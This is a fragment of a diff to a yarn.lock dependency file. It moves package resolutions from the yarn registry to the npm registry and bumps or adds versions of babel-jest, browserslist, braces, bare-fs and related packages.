+  integrity sha512-DukmaFRnY6AzAALSH4J2M3k6PkaC+MfaAGdEERRWcC9q3/TWQwLpHR8ZRLKTdQ3aBDL64EdluRDjJqKw+BPZEw==
   dependencies:
     follow-redirects "^1.15.6"
     form-data "^4.0.0"
     proxy-from-env "^1.1.0"
 
-axobject-query@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-3.1.1.tgz#3b6e5c6d4e43ca7ba51c5babf99d22a9c68485e1"
-  integrity sha512-goKlv8DZrK9hUh975fnHzhNIO4jUnFCfv/dszV5VwUGDFjI6vQ2VwoyjYjYNEbBE8AH87TduWP5uyDR1D+Iteg==
-  dependencies:
-    deep-equal "^2.0.5"
+b4a@^1.6.4:
+  version "1.6.7"
+  resolved "https://registry.npmjs.org/b4a/-/b4a-1.6.7.tgz"
+  integrity sha512-OnAYlL5b7LEkALw87fUVafQw5rVR9RjwGd4KUwNQ6DrrNmaVaUCgLipfVlzrPQ4tWOR9P0IXGNOx50jYCCdSJg==
 
 babel-jest@^28.1.3:
   version "28.1.3"
-  resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-28.1.3.tgz#c1187258197c099072156a0a121c11ee1e3917d5"
+  resolved "https://registry.npmjs.org/babel-jest/-/babel-jest-28.1.3.tgz"
   integrity sha512-epUaPOEWMk3cWX0M/sPvCHHCe9fMFAa/9hXEgKP8nFfNl/jlGkE9ucq9NqkZGXLDduCJYS0UvSlPUwC0S+rH6Q==
   dependencies:
     "@jest/transform" "^28.1.3"
@@ -3685,7 +3987,7 @@ babel-jest@^28.1.3:
 
 babel-jest@^29.0.3:
   version "29.0.3"
-  resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-29.0.3.tgz#64e156a47a77588db6a669a88dedff27ed6e260f"
+  resolved "https://registry.npmjs.org/babel-jest/-/babel-jest-29.0.3.tgz"
   integrity sha512-ApPyHSOhS/sVzwUOQIWJmdvDhBsMG01HX9z7ogtkp1TToHGGUWFlnXJUIzCgKPSfiYLn3ibipCYzsKSURHEwLg==
   dependencies:
     "@jest/transform" "^29.0.3"
@@ -3698,7 +4000,7 @@ babel-jest@^29.0.3:
 
 babel-jest@^29.5.0:
   version "29.5.0"
-  resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-29.5.0.tgz#3fe3ddb109198e78b1c88f9ebdecd5e4fc2f50a5"
+  resolved "https://registry.npmjs.org/babel-jest/-/babel-jest-29.5.0.tgz"
   integrity sha512-mA4eCDh5mSo2EcA9xQjVTpmbbNk32Zb3Q3QFQsNhaK56Q+yoXowzFodLux30HRgyOho5rsQ6B0P9QpMkvvnJ0Q==
   dependencies:
     "@jest/transform" "^29.5.0"
@@ -3709,16 +4011,22 @@ babel-jest@^29.5.0:
     graceful-fs "^4.2.9"
     slash "^3.0.0"
 
-babel-plugin-dynamic-import-node@^2.3.3:
-  version "2.3.3"
-  resolved "https://registry.yarnpkg.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz#84fda19c976ec5c6defef57f9427b3def66e17a3"
-  integrity sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==
+babel-jest@^29.7.0:
+  version "29.7.0"
+  resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-29.7.0.tgz#f4369919225b684c56085998ac63dbd05be020d5"
+  integrity sha512-BrvGY3xZSwEcCzKvKsCi2GgHqDqsYkOP4/by5xCgIwGXQxIEh+8ew3gmrE1y7XRR6LHZIj6yLYnUi/mm2KXKBg==
   dependencies:
-    object.assign "^4.1.0"
+    "@jest/transform" "^29.7.0"
+    "@types/babel__core" "^7.1.14"
+    babel-plugin-istanbul "^6.1.1"
+    babel-preset-jest "^29.6.3"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    slash "^3.0.0"
 
 babel-plugin-fbt-runtime@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-fbt-runtime/-/babel-plugin-fbt-runtime-1.0.0.tgz#8e7c34cd333ffd9cee5a27d738090a12729b8a82"
+  resolved "https://registry.npmjs.org/babel-plugin-fbt-runtime/-/babel-plugin-fbt-runtime-1.0.0.tgz"
   integrity sha512-gML1rXqIfc+sDf1DWxu1WJjmotBYr6f9vjKwOoetuOukM1o3mTKNAeBFGEYu7iBACkuaXpIi++qW8/URgHnduQ==
   dependencies:
     "@babel/core" "^7.0.0"
@@ -3726,7 +4034,7 @@ babel-plugin-fbt-runtime@^1.0.0:
 
 babel-plugin-fbt@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-fbt/-/babel-plugin-fbt-1.0.0.tgz#77e707f1478437ce4941de73d12ee869d0feab8f"
+  resolved "https://registry.npmjs.org/babel-plugin-fbt/-/babel-plugin-fbt-1.0.0.tgz"
   integrity sha512-Tjpkrt4JJLgtS+x6HzkWdOguH+Pb+pzJmSkBmHIWrjf3x9Pf+xFcQUdAbpDKOtRPgu6QyI9DtDulw0sbgdfYdg==
   dependencies:
     "@babel/core" "^7.0.0"
@@ -3744,9 +4052,14 @@ babel-plugin-fbt@^1.0.0:
     nullthrows "^1.1.1"
     yargs "^15.3.1"
 
+babel-plugin-idx@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.npmjs.org/babel-plugin-idx/-/babel-plugin-idx-3.0.3.tgz"
+  integrity sha512-05baCoIGsvZJKemq6KQ4KVFlweEpY4aSY56wk3W781JxCNW3u0KfBElBt26/cPZbHkjF1mnwGIOlFY+9I/VOZA==
+
 babel-plugin-istanbul@^6.1.1:
   version "6.1.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz#fa88ec59232fd9b4e36dbbc540a8ec9a9b47da73"
+  resolved "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz"
   integrity sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==
   dependencies:
     "@babel/helper-plugin-utils" "^7.0.0"
@@ -3757,7 +4070,7 @@ babel-plugin-istanbul@^6.1.1:
 
 babel-plugin-jest-hoist@^28.1.3:
   version "28.1.3"
-  resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-28.1.3.tgz#1952c4d0ea50f2d6d794353762278d1d8cca3fbe"
+  resolved "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-28.1.3.tgz"
   integrity sha512-Ys3tUKAmfnkRUpPdpa98eYrAR0nV+sSFUZZEGuQ2EbFd1y4SOLtD5QDNHAq+bb9a+bbXvYQC4b+ID/THIMcU6Q==
   dependencies:
     "@babel/template" "^7.3.3"
@@ -3765,60 +4078,60 @@ babel-plugin-jest-hoist@^28.1.3:
     "@types/babel__core" "^7.1.14"
     "@types/babel__traverse" "^7.0.6"
 
-babel-plugin-jest-hoist@^29.0.2:
-  version "29.0.2"
-  resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.0.2.tgz#ae61483a829a021b146c016c6ad39b8bcc37c2c8"
-  integrity sha512-eBr2ynAEFjcebVvu8Ktx580BD1QKCrBG1XwEUTXJe285p9HA/4hOhfWCFRQhTKSyBV0VzjhG7H91Eifz9s29hg==
+babel-plugin-jest-hoist@^29.5.0:
+  version "29.5.0"
+  resolved "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.5.0.tgz"
+  integrity sha512-zSuuuAlTMT4mzLj2nPnUm6fsE6270vdOfnpbJ+RmruU75UhLFvL0N2NgI7xpeS7NaB6hGqmd5pVpGTDYvi4Q3w==
   dependencies:
     "@babel/template" "^7.3.3"
     "@babel/types" "^7.3.3"
     "@types/babel__core" "^7.1.14"
     "@types/babel__traverse" "^7.0.6"
 
-babel-plugin-jest-hoist@^29.5.0:
-  version "29.5.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.5.0.tgz#a97db437936f441ec196990c9738d4b88538618a"
-  integrity sha512-zSuuuAlTMT4mzLj2nPnUm6fsE6270vdOfnpbJ+RmruU75UhLFvL0N2NgI7xpeS7NaB6hGqmd5pVpGTDYvi4Q3w==
+babel-plugin-jest-hoist@^29.6.3:
+  version "29.6.3"
+  resolved "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz"
+  integrity sha512-ESAc/RJvGTFEzRwOTT4+lNDk/GNHMkKbNzsvT0qKRfDyyYTskxB5rnU2njIDYVxXCBHHEI1c0YwHob3WaYujOg==
   dependencies:
     "@babel/template" "^7.3.3"
     "@babel/types" "^7.3.3"
     "@types/babel__core" "^7.1.14"
     "@types/babel__traverse" "^7.0.6"
 
-babel-plugin-polyfill-corejs2@^0.4.3:
-  version "0.4.3"
-  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.3.tgz#75044d90ba5043a5fb559ac98496f62f3eb668fd"
-  integrity sha512-bM3gHc337Dta490gg+/AseNB9L4YLHxq1nGKZZSHbhXv4aTYU2MD2cjza1Ru4S6975YLTaL1K8uJf6ukJhhmtw==
+babel-plugin-polyfill-corejs2@^0.4.10:
+  version "0.4.13"
+  resolved "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.13.tgz"
+  integrity sha512-3sX/eOms8kd3q2KZ6DAhKPc0dgm525Gqq5NtWKZ7QYYZEv57OQ54KtblzJzH1lQF/eQxO8KjWGIK9IPUJNus5g==
   dependencies:
-    "@babel/compat-data" "^7.17.7"
-    "@babel/helper-define-polyfill-provider" "^0.4.0"
-    semver "^6.1.1"
+    "@babel/compat-data" "^7.22.6"
+    "@babel/helper-define-polyfill-provider" "^0.6.4"
+    semver "^6.3.1"
 
-babel-plugin-polyfill-corejs3@^0.8.1:
-  version "0.8.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.8.1.tgz#39248263c38191f0d226f928d666e6db1b4b3a8a"
-  integrity sha512-ikFrZITKg1xH6pLND8zT14UPgjKHiGLqex7rGEZCH2EvhsneJaJPemmpQaIZV5AL03II+lXylw3UmddDK8RU5Q==
+babel-plugin-polyfill-corejs3@^0.11.0:
+  version "0.11.1"
+  resolved "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.11.1.tgz"
+  integrity sha512-yGCqvBT4rwMczo28xkH/noxJ6MZ4nJfkVYdoDaC/utLtWrXxv27HVrzAeSbqR8SxDsp46n0YF47EbHoixy6rXQ==
   dependencies:
-    "@babel/helper-define-polyfill-provider" "^0.4.0"
-    core-js-compat "^3.30.1"
+    "@babel/helper-define-polyfill-provider" "^0.6.3"
+    core-js-compat "^3.40.0"
 
-babel-plugin-polyfill-regenerator@^0.5.0:
-  version "0.5.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.0.tgz#e7344d88d9ef18a3c47ded99362ae4a757609380"
-  integrity sha512-hDJtKjMLVa7Z+LwnTCxoDLQj6wdc+B8dun7ayF2fYieI6OzfuvcLMB32ihJZ4UhCBwNYGl5bg/x/P9cMdnkc2g==
+babel-plugin-polyfill-regenerator@^0.6.1:
+  version "0.6.4"
+  resolved "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.4.tgz"
+  integrity sha512-7gD3pRadPrbjhjLyxebmx/WrFYcuSjZ0XbdUujQMZ/fcE9oeewk2U/7PCvez84UeuK3oSjmPZ0Ch0dlupQvGzw==
   dependencies:
-    "@babel/helper-define-polyfill-provider" "^0.4.0"
+    "@babel/helper-define-polyfill-provider" "^0.6.4"
 
-babel-plugin-syntax-hermes-parser@^0.15.1:
-  version "0.15.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-syntax-hermes-parser/-/babel-plugin-syntax-hermes-parser-0.15.1.tgz#d115ee9761a808af590a9b2a0b568115e25ea743"
-  integrity sha512-ohjBzUCCAJHB4uuE8IgVjmzC4u8xsFm3os52ctrWxX4HaDRP5IuyF+li1fkWmKkMyFQn3260WHZQtvSLcwe6ng==
+babel-plugin-syntax-hermes-parser@^0.25.1:
+  version "0.25.1"
+  resolved "https://registry.npmjs.org/babel-plugin-syntax-hermes-parser/-/babel-plugin-syntax-hermes-parser-0.25.1.tgz"
+  integrity sha512-IVNpGzboFLfXZUAwkLFcI/bnqVbwky0jP3eBno4HKtqvQJAHBLdgxiG6lQ4to0+Q/YCN3PO0od5NZwIKyY4REQ==
   dependencies:
-    hermes-parser "0.15.1"
+    hermes-parser "0.25.1"
 
 babel-preset-current-node-syntax@^1.0.0:
   version "1.0.1"
-  resolved "https://registry.yarnpkg.com/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz#b4399239b89b2a011f9ddbe3e4f401fc40cff73b"
+  resolved "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz"
   integrity sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==
   dependencies:
     "@babel/plugin-syntax-async-generators" "^7.8.4"
@@ -3836,23 +4149,23 @@ babel-preset-current-node-syntax@^1.0.0:
 
 babel-preset-jest@^28.1.3:
   version "28.1.3"
-  resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-28.1.3.tgz#5dfc20b99abed5db994406c2b9ab94c73aaa419d"
+  resolved "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-28.1.3.tgz"
   integrity sha512-L+fupJvlWAHbQfn74coNX3zf60LXMJsezNvvx8eIh7iOR1luJ1poxYgQk1F8PYtNq/6QODDHCqsSnTFSWC491A==
   dependencies:
     babel-plugin-jest-hoist "^28.1.3"
     babel-preset-current-node-syntax "^1.0.0"
 
-babel-preset-jest@^29.0.2:
-  version "29.0.2"
-  resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-29.0.2.tgz#e14a7124e22b161551818d89e5bdcfb3b2b0eac7"
-  integrity sha512-BeVXp7rH5TK96ofyEnHjznjLMQ2nAeDJ+QzxKnHAAMs0RgrQsCywjAN8m4mOm5Di0pxU//3AoEeJJrerMH5UeA==
+babel-preset-jest@^29.0.2, babel-preset-jest@^29.6.3:
+  version "29.6.3"
+  resolved "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz"
+  integrity sha512-0B3bhxR6snWXJZtR/RliHTDPRgn1sNHOR0yVtq/IiQFyuOVjFS+wuio/R4gSNkyYmKmJB4wGZv2NZanmKmTnNA==
   dependencies:
-    babel-plugin-jest-hoist "^29.0.2"
+    babel-plugin-jest-hoist "^29.6.3"
     babel-preset-current-node-syntax "^1.0.0"
 
 babel-preset-jest@^29.5.0:
   version "29.5.0"
-  resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-29.5.0.tgz#57bc8cc88097af7ff6a5ab59d1cd29d52a5916e2"
+  resolved "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.5.0.tgz"
   integrity sha512-JOMloxOqdiBSxMAzjRaH023/vvcaSaec49zvg+2LmNsktC7ei39LTJGw02J+9uUtTZUq6xbLyJ4dxe9sSmIuAg==
   dependencies:
     babel-plugin-jest-hoist "^29.5.0"
@@ -3860,48 +4173,98 @@ babel-preset-jest@^29.5.0:
 
 balanced-match@^1.0.0:
   version "1.0.2"
-  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
+  resolved "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz"
   integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
 
+bare-events@^2.2.0, bare-events@^2.5.4:
+  version "2.5.4"
+  resolved "https://registry.npmjs.org/bare-events/-/bare-events-2.5.4.tgz"
+  integrity sha512-+gFfDkR8pj4/TrWCGUGWmJIkBwuxPS5F+a5yWjOHQt2hHvNZd5YLzadjmDUtFmMM4y429bnKLa8bYBMHcYdnQA==
+
+bare-fs@^4.0.1:
+  version "4.1.3"
+  resolved "https://registry.npmjs.org/bare-fs/-/bare-fs-4.1.3.tgz"
+  integrity sha512-OeEZYIg+2qepaWLyphaOXHAHKo3xkM8y3BeGAvHdMN8GNWvEAU1Yw6rYpGzu/wDDbKxgEjVeVDpgGhDzaeMpjg==
+  dependencies:
+    bare-events "^2.5.4"
+    bare-path "^3.0.0"
+    bare-stream "^2.6.4"
+
+bare-os@^3.0.1:
+  version "3.6.1"
+  resolved "https://registry.npmjs.org/bare-os/-/bare-os-3.6.1.tgz"
+  integrity sha512-uaIjxokhFidJP+bmmvKSgiMzj2sV5GPHaZVAIktcxcpCyBFFWO+YlikVAdhmUo2vYFvFhOXIAlldqV29L8126g==
+
+bare-path@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmjs.org/bare-path/-/bare-path-3.0.0.tgz"
+  integrity sha512-tyfW2cQcB5NN8Saijrhqn0Zh7AnFNsnczRcuWODH0eYAXBsJ5gVxAUuNr7tsHSC6IZ77cA0SitzT+s47kot8Mw==
+  dependencies:
+    bare-os "^3.0.1"
+
+bare-stream@^2.6.4:
+  version "2.6.5"
+  resolved "https://registry.npmjs.org/bare-stream/-/bare-stream-2.6.5.tgz"
+  integrity sha512-jSmxKJNJmHySi6hC42zlZnq00rga4jjxcgNZjY9N5WlOe/iOoGRtdwGsHzQv2RlH2KOYMwGUXhf2zXd32BA9RA==
+  dependencies:
+    streamx "^2.21.0"
+
 base64-js@^1.3.1:
   version "1.5.1"
-  resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
+  resolved "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz"
   integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
 
-big-integer@^1.6.44:
-  version "1.6.51"
-  resolved "https://registry.yarnpkg.com/big-integer/-/big-integer-1.6.51.tgz#0df92a5d9880560d3ff2d5fd20245c889d130686"
-  integrity sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg==
-
-big.js@^5.2.2:
-  version "5.2.2"
-  resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
-  integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
+basic-ftp@^5.0.2:
+  version "5.0.5"
+  resolved "https://registry.npmjs.org/basic-ftp/-/basic-ftp-5.0.5.tgz"
+  integrity sha512-4Bcg1P8xhUuqcii/S0Z9wiHIrQVPMermM1any+MX5GeGD7faD3/msQUDGLol9wOcz4/jbg/WJnGqoJF6LiBdtg==
 
 binary-extensions@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d"
-  integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==
+  version "2.3.0"
+  resolved "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz"
+  integrity sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==
 
 bl@^4.1.0:
   version "4.1.0"
-  resolved "https://registry.yarnpkg.com/bl/-/bl-4.1.0.tgz#451535264182bec2fbbc83a62ab98cf11d9f7b3a"
+  resolved "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz"
   integrity sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==
   dependencies:
     buffer "^5.5.0"
     inherits "^2.0.4"
     readable-stream "^3.4.0"
 
-bplist-parser@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/bplist-parser/-/bplist-parser-0.2.0.tgz#43a9d183e5bf9d545200ceac3e712f79ebbe8d0e"
-  integrity sha512-z0M+byMThzQmD9NILRniCUXYsYpjwnlO8N5uCFaCqIOpqRsJCrQL9NK3JsD67CN5a08nF5oIL2bD6loTdHOuKw==
+bl@^5.0.0:
+  version "5.1.0"
+  resolved "https://registry.npmjs.org/bl/-/bl-5.1.0.tgz"
+  integrity sha512-tv1ZJHLfTDnXE6tMHv73YgSJaWR2AFuPwMntBe7XL/GBFHnT0CLnsHMogfk5+GzCDC5ZWarSCYaIGATZt9dNsQ==
   dependencies:
-    big-integer "^1.6.44"
+    buffer "^6.0.3"
+    inherits "^2.0.4"
+    readable-stream "^3.4.0"
+
+body-parser@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.npmjs.org/body-parser/-/body-parser-2.2.0.tgz"
+  integrity sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg==
+  dependencies:
+    bytes "^3.1.2"
+    content-type "^1.0.5"
+    debug "^4.4.0"
+    http-errors "^2.0.0"
+    iconv-lite "^0.6.3"
+    on-finished "^2.4.1"
+    qs "^6.14.0"
+    raw-body "^3.0.0"
+    type-is "^2.0.0"
+
+boolbase@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz"
+  integrity sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==
 
 brace-expansion@^1.1.7:
   version "1.1.11"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+  resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz"
   integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
   dependencies:
     balanced-match "^1.0.0"
@@ -3909,162 +4272,223 @@ brace-expansion@^1.1.7:
 
 brace-expansion@^2.0.1:
   version "2.0.1"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
+  resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz"
   integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
   dependencies:
     balanced-match "^1.0.0"
 
-braces@^3.0.2, braces@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
-  integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
+braces@^3.0.3, braces@~3.0.2:
+  version "3.0.3"
+  resolved "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz"
+  integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==
   dependencies:
-    fill-range "^7.0.1"
+    fill-range "^7.1.1"
 
 browser-process-hrtime@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz#3c9b4b7d782c8121e56f10106d84c0d0ffc94626"
+  resolved "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz"
   integrity sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==
 
-browserslist@^4.21.3, browserslist@^4.21.5:
-  version "4.21.7"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.21.7.tgz#e2b420947e5fb0a58e8f4668ae6e23488127e551"
-  integrity sha512-BauCXrQ7I2ftSqd2mvKHGo85XR0u7Ru3C/Hxsy/0TkfCtjrmAbPdzLGasmoiBxplpDXlPvdjX9u7srIMfgasNA==
-  dependencies:
-    caniuse-lite "^1.0.30001489"
-    electron-to-chromium "^1.4.411"
-    node-releases "^2.0.12"
-    update-browserslist-db "^1.0.11"
+browser-stdout@^1.3.1:
+  version "1.3.1"
+  resolved "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz"
+  integrity sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==
 
-browserslist@^4.22.2:
-  version "4.23.0"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.23.0.tgz#8f3acc2bbe73af7213399430890f86c63a5674ab"
-  integrity sha512-QW8HiM1shhT2GuzkvklfjcKDiWFXHOeFCIA/huJPwHsslwcydgk7X+z2zXpEijP98UCY7HbubZt5J2Zgvf0CaQ==
+browserslist@^4.24.0, browserslist@^4.24.4:
+  version "4.24.4"
+  resolved "https://registry.npmjs.org/browserslist/-/browserslist-4.24.4.tgz"
+  integrity sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==
   dependencies:
-    caniuse-lite "^1.0.30001587"
-    electron-to-chromium "^1.4.668"
-    node-releases "^2.0.14"
-    update-browserslist-db "^1.0.13"
+    caniuse-lite "^1.0.30001688"
+    electron-to-chromium "^1.5.73"
+    node-releases "^2.0.19"
+    update-browserslist-db "^1.1.1"
 
-bs-logger@0.x:
+bs-logger@0.x, bs-logger@^0.2.6:
   version "0.2.6"
-  resolved "https://registry.yarnpkg.com/bs-logger/-/bs-logger-0.2.6.tgz#eb7d365307a72cf974cc6cda76b68354ad336bd8"
+  resolved "https://registry.npmjs.org/bs-logger/-/bs-logger-0.2.6.tgz"
   integrity sha512-pd8DCoxmbgc7hyPKOvxtqNcjYoOsABPQdcCUjGp3d42VR2CX1ORhk2A87oqqu5R1kk+76nsxZupkmyd+MVtCog==
   dependencies:
     fast-json-stable-stringify "2.x"
 
 bser@2.1.1:
   version "2.1.1"
-  resolved "https://registry.yarnpkg.com/bser/-/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05"
+  resolved "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz"
   integrity sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==
   dependencies:
     node-int64 "^0.4.0"
 
+buffer-crc32@~0.2.3:
+  version "0.2.13"
+  resolved "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz"
+  integrity sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==
+
 buffer-from@^1.0.0:
   version "1.1.2"
-  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.2.tgz#2b146a6fd72e80b4f55d255f35ed59a3a9a41bd5"
+  resolved "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz"
   integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==
 
 buffer@^5.5.0:
   version "5.7.1"
-  resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.7.1.tgz#ba62e7c13133053582197160851a8f648e99eed0"
+  resolved "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz"
   integrity sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==
   dependencies:
     base64-js "^1.3.1"
     ieee754 "^1.1.13"
 
-builtin-modules@^3.3.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/builtin-modules/-/builtin-modules-3.3.0.tgz#cae62812b89801e9656336e46223e030386be7b6"
-  integrity sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==
+buffer@^6.0.3:
+  version "6.0.3"
